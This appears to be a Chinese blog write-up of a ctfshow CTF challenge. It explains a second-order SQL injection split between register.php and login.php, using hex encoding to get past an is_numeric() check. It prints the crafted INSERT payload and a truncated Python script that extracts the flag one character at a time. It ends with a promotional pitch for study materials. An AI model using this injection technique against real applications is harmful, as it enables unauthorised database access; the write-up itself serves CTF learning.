ctfshow-内部赛-签到_ctfshow内部赛签到,字节跳动+腾讯+华为+小米+阿里面试题分享

​ 如何构造注入。我们需要用到两处地方,即两次对数据库操作的地方,一处用于插入payload,在register.php,一处用于执行payload,在login.php,而且只有login.php有强过滤,在register出可以使用union select,还需要注意一点,在user.php中使用了is_numberic()函数对回显username进行了过滤,只能显示数字,但是没关系,这里通过hex编码绕过,可以查一下,该函数对16进制的字符串当作数字处理。

代码审懂了,但是脚本编写能力确实还欠佳,参考了一下别的师傅的代码,做了一点修改,直接可以跑出答案

代码解读:
为什么不直接选出答案,而是通过循环加substr,因为回显username有字数限制,也可以稍微改大一点,可以加快flag的产生

构造出来的SQL:在username处找flag,至于爆表爆字段改一改就行了,这里很巧妙,通过两段插入点,使用内联注释/*,username='*/还有一个注意点,原来的insert的语句使用了换行符,所以p是会被赋值,而不会被#注释掉

insert into test1 set email = ‘1’, username = hex(hex(substr((select/**/flag/**/from/**/flag)from/**/1/**/for/**/1))),/*,
username=‘*/#’,
password = ‘1’

import requests
import re

url1 = “http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/register.php”
url2 = “http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/login.php”
flag = ‘’
for i in range(1, 50):
payload = “hex(hex(substr((select/**/flag/**/from/**/flag)from/**/” + str(i) + “/**/for/**/1))),/*”
s = requests.session()
data1 = {
‘e’: str(i) + “',username=” + payload,
‘u’: “*/#”,
‘p’: i
}
r1 = s.post(url1, data=data1)
data2 = {
‘e’: i,
‘p’: i
}
r2 = s.post(url2, data=data2)
t = r2.text
try:
real = re.findall(“Hello (.*?),”, t)[0]
flag += real
except IndexError:

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

X:vip204888 (备注网络安全获取)**
[外链图片转存中…(img-v33wYdhf-1712651567314)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值